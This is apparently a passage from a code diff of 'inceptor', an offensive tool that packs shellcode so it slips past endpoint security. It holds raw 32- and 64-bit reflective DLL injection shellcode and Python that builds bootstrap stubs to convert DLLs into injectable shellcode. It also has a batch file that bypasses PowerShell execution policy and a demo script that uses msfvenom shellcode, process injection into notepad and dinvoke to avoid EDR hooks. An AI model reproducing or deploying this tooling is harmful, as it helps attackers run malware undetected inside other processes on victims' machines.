b'\x8B\x45\x28\x53\x03\xC3\xFF\xD0\x83\xBC\x24\x2C\x01\x00\x00\x00\x0F\x84\xAB\x00\x00\x00' \
b'\x83\x7D\x7C\x00\x0F\x84\xA1\x00\x00\x00\x8B\x55\x78\x03\xD3\x8B\x6A\x18\x85\xED\x0F\x84' \
b'\x91\x00\x00\x00\x83\x7A\x14\x00\x0F\x84\x87\x00\x00\x00\x8B\x7A\x20\x8B\x4A\x24\x03\xFB' \
b'\x83\x64\x24\x30\x00\x03\xCB\x85\xED\x74\x74\x8B\x37\xC7\x44\x24\x10\x00\x00\x00\x00\x03' \
b'\xF3\x74\x66\x8A\x06\x84\xC0\x74\x1A\x8B\x6C\x24\x10\x0F\xBE\xC0\x03\xE8\xC1\xCD\x0D\x46' \
b'\x8A\x06\x84\xC0\x75\xF1\x89\x6C\x24\x10\x8B\x6A\x18\x8B\x84\x24\x2C\x01\x00\x00\x3B\x44' \
b'\x24\x10\x75\x04\x85\xC9\x75\x15\x8B\x44\x24\x30\x83\xC7\x04\x40\x83\xC1\x02\x89\x44\x24' \
b'\x30\x3B\xC5\x72\xAE\xEB\x20\x0F\xB7\x09\x8B\x42\x1C\xFF\xB4\x24\x34\x01\x00\x00\xFF\xB4' \
b'\x24\x34\x01\x00\x00\x8D\x04\x88\x8B\x04\x18\x03\xC3\xFF\xD0\x59\x59\x8B\xC3\xEB\x02\x33' \
b'\xC0\x5F\x5E\x5D\x5B\x81\xC4\x14\x01\x00\x00\xC3\x83\xEC\x14\x64\xA1\x30\x00\x00\x00\x53' \
b'\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x1C\x8B\x78\x0C\xE9\xA5\x00\x00\x00\x8B\x47\x30\x33' \
b'\xF6\x8B\x5F\x2C\x8B\x3F\x89\x44\x24\x10\x8B\x42\x3C\x89\x7C\x24\x14\x8B\x6C\x10\x78\x89' \
b'\x6C\x24\x18\x85\xED\x0F\x84\x80\x00\x00\x00\xC1\xEB\x10\x33\xC9\x85\xDB\x74\x2F\x8B\x7C' \
b'\x24\x10\x0F\xBE\x2C\x0F\xC1\xCE\x0D\x80\x3C\x0F\x61\x89\x6C\x24\x10\x7C\x09\x8B\xC5\x83' \
b'\xC0\xE0\x03\xF0\xEB\x04\x03\x74\x24\x10\x41\x3B\xCB\x72\xDD\x8B\x7C\x24\x14\x8B\x6C\x24' \
b'\x18\x8B\x44\x2A\x20\x33\xDB\x8B\x4C\x2A\x18\x03\xC2\x89\x4C\x24\x10\x85\xC9\x74\x34\x8B' \
b'\x38\x33\xED\x03\xFA\x83\xC0\x04\x89\x44\x24\x20\x8A\x0F\xC1\xCD\x0D\x0F\xBE\xC1\x03\xE8' \
b'\x47\x84\xC9\x75\xF1\x8B\x7C\x24\x14\x8D\x04\x2E\x3B\x44\x24\x1C\x74\x20\x8B\x44\x24\x20' \
b'\x43\x3B\x5C\x24\x10\x72\xCC\x8B\x57\x18\x85\xD2\x0F\x85\x50\xFF\xFF\xFF\x33\xC0\x5F\x5E' \
b'\x5D\x5B\x83\xC4\x14\xC3\x8B\x74\x24\x18\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B' \
b'\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB '
rdi_shellcode64 = b'\x48\x8B\xC4\x48\x89\x58\x08\x44\x89\x48\x20\x4C\x89\x40\x18\x89\x50\x10\x55\x56\x57\x41' \
b'\x54\x41\x55\x41\x56\x41\x57\x48\x8D\x6C\x24\x90\x48\x81\xEC\x70\x01\x00\x00\x45\x33\xFF' \
b'\xC7\x45\xD8\x6B\x00\x65\x00\x48\x8B\xF1\x4C\x89\x7D\xF8\xB9\x13\x9C\xBF\xBD\x4C\x89\x7D' \
b'\xC8\x4C\x89\x7D\x08\x45\x8D\x4F\x65\x4C\x89\x7D\x10\x44\x88\x4D\xBC\x44\x88\x4D\xA2\x4C' \
b'\x89\x7D\x00\x4C\x89\x7D\xF0\x4C\x89\x7D\x18\x44\x89\x7D\x24\x44\x89\x7C\x24\x2C\xC7\x45' \
b'\xDC\x72\x00\x6E\x00\xC7\x45\xE0\x65\x00\x6C\x00\xC7\x45\xE4\x33\x00\x32\x00\xC7\x45\xE8' \
b'\x2E\x00\x64\x00\xC7\x45\xEC\x6C\x00\x6C\x00\xC7\x44\x24\x40\x53\x6C\x65\x65\xC6\x44\x24' \
b'\x44\x70\xC7\x44\x24\x58\x4C\x6F\x61\x64\xC7\x44\x24\x5C\x4C\x69\x62\x72\xC7\x44\x24\x60' \
b'\x61\x72\x79\x41\xC7\x44\x24\x48\x56\x69\x72\x74\xC7\x44\x24\x4C\x75\x61\x6C\x41\xC7\x44' \
b'\x24\x50\x6C\x6C\x6F\x63\xC7\x44\x24\x68\x56\x69\x72\x74\xC7\x44\x24\x6C\x75\x61\x6C\x50' \
b'\xC7\x44\x24\x70\x72\x6F\x74\x65\x66\xC7\x44\x24\x74\x63\x74\xC7\x45\xA8\x46\x6C\x75\x73' \
b'\xC7\x45\xAC\x68\x49\x6E\x73\xC7\x45\xB0\x74\x72\x75\x63\xC7\x45\xB4\x74\x69\x6F\x6E\xC7' \
b'\x45\xB8\x43\x61\x63\x68\xC7\x44\x24\x78\x47\x65\x74\x4E\xC7\x44\x24\x7C\x61\x74\x69\x76' \
b'\xC7\x45\x80\x65\x53\x79\x73\xC7\x45\x84\x74\x65\x6D\x49\x66\xC7\x45\x88\x6E\x66\xC6\x45' \
b'\x8A\x6F\xC7\x45\x90\x52\x74\x6C\x41\xC7\x45\x94\x64\x64\x46\x75\xC7\x45\x98\x6E\x63\x74' \
b'\x69\xC7\x45\x9C\x6F\x6E\x54\x61\x66\xC7\x45\xA0\x62\x6C\xE8\x7F\x08\x00\x00\xB9\xB5\x41' \
b'\xD9\x5E\x48\x8B\xD8\xE8\x72\x08\x00\x00\x4C\x8B\xE8\x48\x89\x45\xD0\x48\x8D\x45\xD8\xC7' \
b'\x45\x20\x18\x00\x18\x00\x4C\x8D\x4C\x24\x38\x48\x89\x45\x28\x4C\x8D\x45\x20\x33\xD2\x33' \
b'\xC9\xFF\xD3\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x48\x45\x33\xC0\x48\x89\x44\x24\x30\x4C' \
b'\x8D\x4D\xC8\xC7\x44\x24\x28\x0C\x00\x0C\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C' \
b'\x24\x38\x48\x8D\x44\x24\x68\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x00\xC7\x44\x24' \
b'\x28\x0E\x00\x0E\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8D\x45\xA8\xC7\x44\x24\x28\x15' \
b'\x00\x15\x00\x48\x8B\x4C\x24\x38\x4C\x8D\x4D\x08\x45\x33\xC0\x48\x89\x44\x24\x30\x48\x8D' \
b'\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x78\x45\x33\xC0\x48\x89\x44' \
b'\x24\x30\x4C\x8D\x4D\x10\xC7\x44\x24\x28\x13\x00\x13\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5' \
b'\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x40\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\xF0' \
b'\xC7\x44\x24\x28\x05\x00\x05\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48' \
b'\x8D\x45\x90\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x18\xC7\x44\x24\x28\x13\x00\x13' \
b'\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x58\x45\x33\xC0' \
b'\x48\x89\x44\x24\x30\x4C\x8D\x4D\xF8\xC7\x44\x24\x28\x0C\x00\x0C\x00\x48\x8D\x54\x24\x28' \
b'\x41\xFF\xD5\x4C\x39\x7D\xC8\x0F\x84\x1D\x07\x00\x00\x4C\x39\x7D\x00\x0F\x84\x13\x07\x00' \
b'\x00\x4C\x39\x7D\xF0\x0F\x84\x09\x07\x00\x00\x4C\x39\x7D\x08\x0F\x84\xFF\x06\x00\x00\x48' \
b'\x8B\x55\x10\x48\x85\xD2\x0F\x84\xF2\x06\x00\x00\x48\x63\x7E\x3C\x48\x03\xFE\x81\x3F\x50' \
b'\x45\x00\x00\x0F\x85\xDF\x06\x00\x00\xB8\x64\x86\x00\x00\x66\x39\x47\x04\x0F\x85\xD0\x06' \
b'\x00\x00\x45\x8D\x4F\x01\x44\x84\x4F\x38\x0F\x85\xC2\x06\x00\x00\x0F\xB7\x4F\x14\x41\x8B' \
b'\xDF\x48\x83\xC1\x24\x66\x44\x3B\x7F\x06\x73\x25\x44\x0F\xB7\x47\x06\x48\x03\xCF\x44\x39' \
b'\x79\x04\x8B\x47\x38\x0F\x45\x41\x04\x03\x01\x48\x8D\x49\x28\x3B\xC3\x0F\x46\xC3\x8B\xD8' \
b'\x4D\x2B\xC1\x75\xE3\x48\x8D\x4D\x38\xFF\xD2\x8B\x55\x3C\x44\x8B\xC2\x44\x8D\x72\xFF\xF7' \
b'\xDA\x44\x03\x77\x50\x49\x8D\x48\xFF\x8B\xC2\x4C\x23\xF0\x8B\xC3\x48\x03\xC8\x49\x8D\x40' \
b'\xFF\x48\xF7\xD0\x48\x23\xC8\x4C\x3B\xF1\x0F\x85\x54\x06\x00\x00\x48\x8B\x4F\x30\x41\xBC' \
b'\x00\x30\x00\x00\x45\x8B\xC4\x41\xB9\x04\x00\x00\x00\x49\x8B\xD6\xFF\x55\xC8\x48\x8B\xD8' \
b'\x48\x85\xC0\x75\x12\x44\x8D\x48\x04\x45\x8B\xC4\x49\x8B\xD6\x33\xC9\xFF\x55\xC8\x48\x8B' \
b'\xD8\x44\x8B\xA5\xD0\x00\x00\x00\x41\xBB\x01\x00\x00\x00\x45\x84\xE3\x74\x1D\x8B\x46\x3C' \
b'\x89\x43\x3C\x8B\x56\x3C\xEB\x0B\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54' \
b'\x72\xF0\xEB\x19\x41\x8B\xD7\x44\x39\x7F\x54\x76\x10\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88' \
b'\x04\x19\x3B\x57\x54\x72\xF0\x48\x63\x7B\x3C\x45\x8B\xD7\x48\x03\xFB\x48\x89\x7D\x30\x44' \
b'\x0F\xB7\x47\x14\x49\x83\xC0\x28\x66\x44\x3B\x7F\x06\x73\x3A\x4C\x03\xC7\x45\x8B\xCF\x45' \
b'\x39\x38\x76\x1F\x41\x8B\x50\x04\x41\x8B\x48\xFC\x41\x8B\xC1\x45\x03\xCB\x48\x03\xC8\x48' \
b'\x03\xD0\x8A\x04\x32\x88\x04\x19\x45\x3B\x08\x72\xE1\x0F\xB7\x47\x06\x45\x03\xD3\x49\x83' \
b'\xC0\x28\x44\x3B\xD0\x72\xC9\x4C\x8B\xF3\x41\xB8\x02\x00\x00\x00\x4C\x2B\x77\x30\x0F\x84' \
b'\xD6\x00\x00\x00\x44\x39\xBF\xB4\x00\x00\x00\x0F\x84\xC9\x00\x00\x00\x44\x8B\x8F\xB0\x00' \
b'\x00\x00\x4C\x03\xCB\x45\x39\x39\x0F\x84\xB6\x00\x00\x00\x4D\x8D\x51\x08\xE9\x91\x00\x00' \
b'\x00\x45\x0F\xB7\x1A\x41\x0F\xB7\xCB\x41\x0F\xB7\xC3\x66\xC1\xE9\x0C\x66\x83\xF9\x0A\x75' \
b'\x29\x45\x8B\x01\x41\x81\xE3\xFF\x0F\x00\x00\x4B\x8D\x04\x18\x48\x8B\x14\x18\x4B\x8D\x04' \
b'\x18\x41\xBB\x01\x00\x00\x00\x49\x03\xD6\x48\x89\x14\x18\x45\x8D\x43\x01\xEB\x4F\x41\xBB' \
b'\x01\x00\x00\x00\x66\x83\xF9\x03\x75\x0E\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x8B\xC6' \
b'\xEB\x2E\x66\x41\x3B\xCB\x75\x15\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x49\x8B\xC6\x48\xC1' \
b'\xE8\x10\x0F\xB7\xC0\xEB\x13\x66\x41\x3B\xC8\x75\x14\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03' \
b'\x41\x0F\xB7\xC6\x41\x8B\x11\x48\x01\x04\x0A\x4D\x03\xD0\x41\x8B\x41\x04\x49\x03\xC1\x4C' \
b'\x3B\xD0\x0F\x85\x5F\xFF\xFF\xFF\x4D\x8B\xCA\x45\x39\x3A\x0F\x85\x4A\xFF\xFF\xFF\x44\x39' \
b'\xBF\x94\x00\x00\x00\x0F\x84\x82\x01\x00\x00\x8B\x8F\x90\x00\x00\x00\x45\x8B\xEF\x4C\x8D' \
b'\x04\x19\x49\x8D\x40\x0C\xEB\x07\x45\x03\xEB\x48\x8D\x40\x14\x44\x39\x38\x75\xF4\x41\x8B' \
b'\xC4\x83\xE0\x04\x89\x45\xC0\x8B\xC1\x0F\x84\x89\x00\x00\x00\x45\x3B\xEB\x0F\x86\x80\x00' \
b'\x00\x00\x41\xC1\xEC\x10\x45\x8D\x5D\xFF\x45\x8B\xD7\x45\x85\xDB\x74\x74\x4D\x8B\xC8\x41' \
b'\xBE\xFF\x7F\x00\x00\x41\x0F\x10\x01\x33\xD2\x41\x8B\xCD\x41\x2B\xCA\x69\xF6\xFD\x43\x03' \
b'\x00\x41\x8B\xC6\xF7\xF1\x33\xD2\x81\xC6\xC3\x9E\x26\x00\x8D\x48\x01\x8B\xC6\xC1\xE8\x10' \
b'\x41\x23\xC6\xF7\xF1\x41\x03\xC2\x41\xFF\xC2\x48\x8D\x0C\x80\x41\x8B\x54\x88\x10\x41\x0F' \
b'\x10\x0C\x88\x41\x0F\x11\x04\x88\x41\x8B\x41\x10\x41\x89\x44\x88\x10\x41\x0F\x11\x09\x41' \
b'\x89\x51\x10\x4D\x8D\x49\x14\x45\x3B\xD3\x72\xA1\x8B\x87\x90\x00\x00\x00\xEB\x04\x44\x8B' \
b'\x65\xC0\x8B\xF0\x48\x03\xF3\x8B\x46\x0C\x85\xC0\x0F\x84\xB1\x00\x00\x00\x8B\x7D\xC0\x8B' \
b'\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x4C\x8B\xD0\x44\x8B\x36\x44\x8B\x7E\x10' \
b'\x4C\x03\xF3\x4C\x03\xFB\x49\x8B\x0E\x48\x85\xC9\x74\x5F\x48\x85\xC9\x79\x08\x45\x0F\xB7' \
b'\x06\x33\xD2\xEB\x32\x48\x8D\x53\x02\x33\xC0\x48\x03\xD1\x38\x02\x74\x0E\x48\x8B\xCA\x48' \
b'\xFF\xC1\x48\xFF\xC0\x80\x39\x00\x75\xF5\x48\x89\x54\x24\x30\x45\x33\xC0\x48\x8D\x54\x24' \
b'\x28\x66\x89\x44\x24\x28\x66\x89\x44\x24\x2A\x4D\x8B\xCF\x49\x8B\xCA\xFF\x55\xD0\x49\x83' \
b'\xC6\x08\x49\x83\xC7\x08\x49\x8B\x0E\x48\x85\xC9\x74\x07\x4C\x8B\x54\x24\x38\xEB\xA1\x45' \
b'\x33\xFF\x85\xFF\x74\x10\x41\x83\xFD\x01\x76\x0A\x41\x69\xCC\xE8\x03\x00\x00\xFF\x55\xF0' \
b'\x8B\x46\x20\x48\x83\xC6\x14\x85\xC0\x0F\x85\x56\xFF\xFF\xFF\x48\x8B\x7D\x30\x4C\x8B\x6D' \
b'\xD0\x44\x39\xBF\xF4\x00\x00\x00\x0F\x84\xA9\x00\x00\x00\x44\x8B\xBF\xF0\x00\x00\x00\x49' \
b'\x83\xC7\x04\x4C\x03\xFB\x45\x33\xE4\x41\x8B\x07\x85\xC0\x0F\x84\x8A\x00\x00\x00\x8B\xC8' \
b'\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x48\x8B\xC8\x41\x8B\x77\x08\x45\x8B\x77\x0C' \
b'\x48\x03\xF3\x4C\x03\xF3\x4C\x39\x26\x74\x5E\x49\x8B\x16\x48\x85\xD2\x79\x08\x44\x0F\xB7' \
b'\xC2\x33\xD2\xEB\x34\x4C\x8D\x43\x02\x49\x8B\xC4\x4C\x03\xC2\x45\x38\x20\x74\x0E\x49\x8B' \
b'\xD0\x48\xFF\xC2\x48\xFF\xC0\x44\x38\x22\x75\xF5\x4C\x89\x44\x24\x30\x48\x8D\x54\x24\x28' \
b'\x45\x33\xC0\x66\x89\x44\x24\x28\x66\x89\x44\x24\x2A\x4C\x8B\xCE\x41\xFF\xD5\x48\x83\xC6' \
b'\x08\x49\x83\xC6\x08\x4C\x39\x26\x74\x07\x48\x8B\x4C\x24\x38\xEB\xA2\x49\x83\xC7\x20\xE9' \
b'\x6B\xFF\xFF\xFF\x45\x33\xFF\x0F\xB7\x77\x14\x45\x8B\xF7\x48\x83\xC6\x28\x41\xBC\x01\x00' \
b'\x00\x00\x66\x44\x3B\x7F\x06\x0F\x83\x0B\x01\x00\x00\x48\x03\xF7\x44\x39\x3E\x0F\x84\xEB' \
b'\x00\x00\x00\x8B\x46\x14\x8B\xC8\x81\xE1\x00\x00\x00\x20\x75\x17\x0F\xBA\xE0\x1E\x72\x11' \
b'\x85\xC0\x78\x0D\x45\x8B\xC4\x44\x89\x64\x24\x20\xE9\xA4\x00\x00\x00\x85\xC9\x75\x3C\x0F' \
b'\xBA\xE0\x1E\x72\x0A\x85\xC0\x79\x06\x44\x8D\x41\x08\xEB\x68\x85\xC9\x75\x28\x0F\xBA\xE0' \
b'\x1E\x73\x0A\x85\xC0\x78\x06\x44\x8D\x41\x02\xEB\x54\x85\xC9\x75\x14\x0F\xBA\xE0\x1E\x73' \
b'\x0A\x85\xC0\x79\x06\x44\x8D\x41\x04\xEB\x40\x85\xC9\x74\x5F\x0F\xBA\xE0\x1E\x72\x0C\x85' \
b'\xC0\x78\x08\x41\xB8\x10\x00\x00\x00\xEB\x2A\x85\xC9\x74\x49\x0F\xBA\xE0\x1E\x72\x0C\x85' \
b'\xC0\x79\x08\x41\xB8\x80\x00\x00\x00\xEB\x14\x85\xC9\x74\x33\x0F\xBA\xE0\x1E\x73\x11\x85' \
b'\xC0\x78\x0D\x41\xB8\x20\x00\x00\x00\x44\x89\x44\x24\x20\xEB\x21\x85\xC9\x74\x18\x0F\xBA' \
b'\xE0\x1E\x73\x12\x44\x8B\x44\x24\x20\x85\xC0\xB9\x40\x00\x00\x00\x44\x0F\x48\xC1\xEB\xDD' \
b'\x44\x8B\x44\x24\x20\xF7\x46\x14\x00\x00\x00\x04\x74\x0A\x41\x0F\xBA\xE8\x09\x44\x89\x44' \
b'\x24\x20\x8B\x4E\xFC\x4C\x8D\x4C\x24\x20\x8B\x16\x48\x03\xCB\xFF\x55\x00\x0F\xB7\x47\x06' \
b'\x45\x03\xF4\x48\x83\xC6\x28\x44\x3B\xF0\x0F\x82\xF8\xFE\xFF\xFF\x45\x33\xC0\x33\xD2\x48' \
b'\x83\xC9\xFF\xFF\x55\x08\x44\x39\xBF\xD4\x00\x00\x00\x74\x24\x8B\x87\xD0\x00\x00\x00\x48' \
b'\x8B\x74\x18\x18\xEB\x0F\x45\x33\xC0\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x48\x8D\x76\x08\x48' \
b'\x8B\x06\x48\x85\xC0\x75\xE9\x4C\x8B\x4D\x18\x4D\x85\xC9\x74\x2F\x8B\x87\xA4\x00\x00\x00' \
b'\x85\xC0\x74\x25\x8B\xC8\x4C\x8B\xC3\x48\xB8\xAB\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x48\xF7\xE1' \
b'\x8B\x8F\xA0\x00\x00\x00\x48\xC1\xEA\x03\x48\x03\xCB\x41\x2B\xD4\x41\xFF\xD1\x8B\x47\x28' \
b'\x4D\x8B\xC4\x48\x03\xC3\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x8B\xB5\xB8\x00\x00\x00\x85\xF6' \
b'\x0F\x84\x97\x00\x00\x00\x44\x39\xBF\x8C\x00\x00\x00\x0F\x84\x8A\x00\x00\x00\x8B\x8F\x88' \
b'\x00\x00\x00\x48\x03\xCB\x44\x8B\x59\x18\x45\x85\xDB\x74\x78\x44\x39\x79\x14\x74\x72\x44' \
b'\x8B\x49\x20\x41\x8B\xFF\x8B\x51\x24\x4C\x03\xCB\x48\x03\xD3\x45\x85\xDB\x74\x5D\x45\x8B' \
b'\x01\x45\x8B\xD7\x4C\x03\xC3\x74\x52\xEB\x0D\x0F\xBE\xC0\x44\x03\xD0\x41\xC1\xCA\x0D\x4D' \
b'\x03\xC4\x41\x8A\x00\x84\xC0\x75\xEC\x41\x3B\xF2\x75\x05\x48\x85\xD2\x75\x12\x41\x03\xFC' \
b'\x49\x83\xC1\x04\x48\x83\xC2\x02\x41\x3B\xFB\x73\x22\xEB\xC3\x8B\x41\x1C\x0F\xB7\x0A\x48' \
b'\x03\xC3\x8B\x95\xC8\x00\x00\x00\x44\x8B\x04\x88\x48\x8B\x8D\xC0\x00\x00\x00\x4C\x03\xC3' \
b'\x41\xFF\xD0\x48\x8B\xC3\xEB\x02\x33\xC0\x48\x8B\x9C\x24\xB0\x01\x00\x00\x48\x81\xC4\x70' \
b'\x01\x00\x00\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5F\x5E\x5D\xC3\xCC\x48\x8B\xC4\x48\x89\x58' \
b'\x08\x48\x89\x68\x10\x48\x89\x70\x18\x48\x89\x78\x20\x41\x56\x48\x83\xEC\x10\x65\x48\x8B' \
b'\x04\x25\x60\x00\x00\x00\x8B\xE9\x45\x33\xF6\x48\x8B\x50\x18\x4C\x8B\x4A\x10\x4D\x8B\x41' \
b'\x30\x4D\x85\xC0\x0F\x84\xB3\x00\x00\x00\x41\x0F\x10\x41\x58\x49\x63\x40\x3C\x41\x8B\xD6' \
b'\x4D\x8B\x09\xF3\x0F\x7F\x04\x24\x46\x8B\x9C\x00\x88\x00\x00\x00\x45\x85\xDB\x74\xD2\x48' \
b'\x8B\x04\x24\x48\xC1\xE8\x10\x66\x44\x3B\xF0\x73\x22\x48\x8B\x4C\x24\x08\x44\x0F\xB7\xD0' \
b'\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xEA' \
b'\x01\x75\xE7\x4F\x8D\x14\x18\x45\x8B\xDE\x41\x8B\x7A\x20\x49\x03\xF8\x45\x39\x72\x18\x76' \
b'\x8E\x8B\x37\x41\x8B\xDE\x49\x03\xF0\x48\x8D\x7F\x04\x0F\xBE\x0E\x48\xFF\xC6\xC1\xCB\x0D' \
b'\x03\xD9\x84\xC9\x75\xF1\x8D\x04\x13\x3B\xC5\x74\x0E\x41\xFF\xC3\x45\x3B\x5A\x18\x72\xD5' \
b'\xE9\x5E\xFF\xFF\xFF\x41\x8B\x42\x24\x43\x8D\x0C\x1B\x49\x03\xC0\x0F\xB7\x14\x01\x41\x8B' \
b'\x4A\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B' \
b'\x6C\x24\x28\x48\x8B\x74\x24\x30\x48\x8B\x7C\x24\x38\x48\x83\xC4\x10\x41\x5E\xC3 '
# MARKER:E
if sRDI.is64BitDLL(dll_bytes):
rdi_shellcode = rdi_shellcode64
bootstrap = b''
bootstrap_size = 64
# call next instruction (Pushes next instruction address to stack)
bootstrap += b'\xe8\x00\x00\x00\x00'
# Set the offset to our DLL from pop result
dll_offset = bootstrap_size - len(bootstrap) + len(rdi_shellcode)
# pop rcx - Capture our current location in memory
bootstrap += b'\x59'
# mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
bootstrap += b'\x49\x89\xc8'
# add rcx, <Offset of the DLL>
bootstrap += b'\x48\x81\xc1'
bootstrap += struct.pack('I', dll_offset)
# mov edx, <Hash of function>
bootstrap += b'\xba'
bootstrap += struct.pack('I', function_hash)
# Setup the location of our user data
# add r8, <Offset of the DLL> + <Length of DLL>
bootstrap += b'\x49\x81\xc0'
user_data_location = dll_offset + len(dll_bytes)
bootstrap += struct.pack('I', user_data_location)
# mov r9d, <Length of User Data>
bootstrap += b'\x41\xb9'
bootstrap += struct.pack('I', len(user_data))
# push rsi - save original value
bootstrap += b'\x56'
# mov rsi, rsp - store our current stack pointer for later
bootstrap += b'\x48\x89\xe6'
# and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes
bootstrap += b'\x48\x83\xe4\xf0'
# sub rsp, 0x30 - Create some breathing room on the stack
bootstrap += b'\x48\x83\xec'
bootstrap += b'\x30' # 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment
# mov dword ptr [rsp + 0x20], <Flags> - Push arg 5 just above shadow space
bootstrap += b'\xC7\x44\x24'
bootstrap += b'\x20'
bootstrap += struct.pack('I', flags)
# call - Transfer execution to the RDI
bootstrap += b'\xe8'
bootstrap += struct.pack('b',
bootstrap_size - len(bootstrap) - 4) # Skip over the remainder of instructions
bootstrap += b'\x00\x00\x00'
# mov rsp, rsi - Reset our original stack pointer
bootstrap += b'\x48\x89\xf4'
# pop rsi - Put things back where we left them
bootstrap += b'\x5e'
# ret - return to caller
bootstrap += b'\xc3'
if len(bootstrap) != bootstrap_size:
raise Exception(f"x64 bootstrap length: {len(bootstrap)} != bootstrap_size: {bootstrap_size}")
# Ends up looking like this in memory:
# Bootstrap shellcode
# RDI shellcode
# DLL bytes
# User data
return bootstrap + rdi_shellcode + dll_bytes + user_data
else: # 32 bit
rdi_shellcode = rdi_shellcode32
bootstrap = b''
bootstrap_size = 49
# call next instruction (Pushes next instruction address to stack)
bootstrap += b'\xe8\x00\x00\x00\x00'
# Set the offset to our DLL from pop result
dll_offset = bootstrap_size - len(bootstrap) + len(rdi_shellcode)
# pop eax - Capture our current location in memory
bootstrap += b'\x58'
# push ebp
bootstrap += b'\x55'
# mov ebp, esp
bootstrap += b'\x89\xe5'
# mov edx, eax - copy our location in memory to ebx before we start modifying eax
bootstrap += b'\x89\xc2'
# add eax, <Offset to the DLL>
bootstrap += b'\x05'
bootstrap += struct.pack('I', dll_offset)
# add edx, <Offset to the DLL> + <Size of DLL>
bootstrap += b'\x81\xc2'
user_data_location = dll_offset + len(dll_bytes)
bootstrap += struct.pack('I', user_data_location)
# push <Flags>
bootstrap += b'\x68'
bootstrap += struct.pack('I', flags)
# push <Length of User Data>
bootstrap += b'\x68'
bootstrap += struct.pack('I', len(user_data))
# push edx
bootstrap += b'\x52'
# push <hash of function>
bootstrap += b'\x68'
bootstrap += struct.pack('I', function_hash)
# push eax
bootstrap += b'\x50'
# call - Transfer execution to the RDI
bootstrap += b'\xe8'
bootstrap += struct.pack('b',
bootstrap_size - len(bootstrap) - 4) # Skip over the remainder of instructions
bootstrap += b'\x00\x00\x00'
# add esp, 0x14 - remove arguments from stack (cdecl)
bootstrap += b'\x83\xc4\x14'
# leave
bootstrap += b'\xc9'
# ret - return to caller
bootstrap += b'\xc3'
if len(bootstrap) != bootstrap_size:
raise Exception(f"x86 bootstrap length: {len(bootstrap)} != bootstrap_size: {bootstrap_size}")
# Ends up looking like this in memory:
# Bootstrap shellcode
# RDI shellcode
# DLL bytes
# User data
return bootstrap + rdi_shellcode + dll_bytes + user_data
def transform(self, target):
dll = open(target, 'rb').read()
flags = self.flags
converted = sRDI.ConvertToShellcode(dll, sRDI.HashFunctionName(self.function), self.args, flags)
return converted

8
inceptor/demo/demo.bat Normal file
View File

@ -0,0 +1,8 @@
@echo off
if "%1" == "" GOTO MISSING_FILE
cmd /k powershell -exec bypass ".\demo.ps1" "%1"
exit /b
:MISSING_FILE
echo [-] Usage demo [filename]

69
inceptor/demo/demo.ps1 Normal file
View File

@ -0,0 +1,69 @@
function Invoke-Demo{
<#
.SYNOPSIS
Easy script to launch a test to see if the functions used by an implant are intercepted by
a very simple EDR (Frida xD LOL)
# Run
.\demo.bat <implant-filename>
.EXAMPLE
# Generate a shellcode file to spawn a calculator on Windows
msfvenom -p windows/x64/exec CMD=calc.exe EXITFUND=thread -o calc.raw
# Pack the shellcode with Inceptor and generate a dotnet implant using Process Injection but no special technique
python inceptor.py dotnet calc.raw --pinject --delay 5 -o demo\note.exe
# Launch the demo, all the Native functions should be successfully intercepted by frida
demo.bat note.exe
# Pack the shellcode with Inceptor and generate a dotnet implant using Process Injection but
# this time add the dinvoke option
python inceptor.py dotnet calc.raw --pinject --delay 5 -o demo\note-dinvoke.exe --dinvoke
# Launch the demo, nothing should be hooked this time
demo.bat note-dinvoke.exe
#>
param (
[Parameter(Mandatory, ValueFromPipelineByPropertyName)]
[String]
[Alias('FullName')]
$FilePath
)
if (-not (Test-Path -Path $FilePath)) {
Write-Error "$FilePath does not exist"
return
}
$FileFullPath = Resolve-Path -Path $FilePath
# Step 1: Spawn sacrificial process
# This process will be used to perform the shellcode injection
Write-Host "[*] Starting Notepad"
$pHandle = (Start-Process "notepad.exe" -PassThru)
Sleep 1
$victim_pid = $pHandle.Id
# Step 2: Start the implant
# If everyting works fine, the implant should wait 5-15 seconds to execute the code
# NW: Ensure you've packed the shellcode using the --delay option!!!
Write-Host "[*] Starting code injection demo loader"
$demoHandle = (Start-Process "$FileFullPath" -PassThru -Args $victim_pid)
Sleep 1
$demo_pid = $demoHandle.Id
# If you'd like to see the difference between Native and .NET when using Syscalls,
# add also the hooks for NtAllocateVirtualMemory and NtWriteVirtualMemory
